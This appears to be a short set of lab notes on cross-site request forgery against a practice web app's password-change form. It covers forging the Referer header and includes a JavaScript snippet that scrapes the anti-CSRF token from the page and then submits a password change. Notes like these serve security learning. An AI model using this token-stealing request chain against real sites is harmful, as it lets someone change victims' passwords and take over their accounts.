Cross-Site Request Forgery (WIP)
#Imagine we fill out a form to change the actual password of an account
#We change the password to $newpass
#We can see that the site processes the request and shows the data related to the action in the URL
http://$url/?password_new=$newpass&password_conf=$newpass&Change=Change
#As the session remains active even when closing the tab of the site, this will allow changes even from off the site...
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
......
Referer: http://$UrlOfProperSite/
...http://$url/?password_new=$newpass&password_conf=$newpass&token=$token...
<input type='hidden' name='user_token' value='5a92a11e5ff6dc8e94ae2d469c615e0d' />
...fetch("http://tcmserver:8001/vulnerabilities/csrf/")
.then((response) => response.text())
.then((text) => {
const parser = new DOMParser();
const htmlDocument = parser.parseFromString(text, "text/html");
const csrfToken = Array.from(htmlDocument.querySelectorAll("input")).filter(
(input) => input.name === "user_token"
)[0].value;
console.log(csrfToken);
const newPass = "newpass";
const url = `http://tcmserver:8001/vulnerabilities/csrf/?password_new=${newPass}&password_conf=${newPass}&Change=Change&user_token=${csrfToken}`;
fetch(url);
console.log("Password changed to: " + newPass);
});Last updated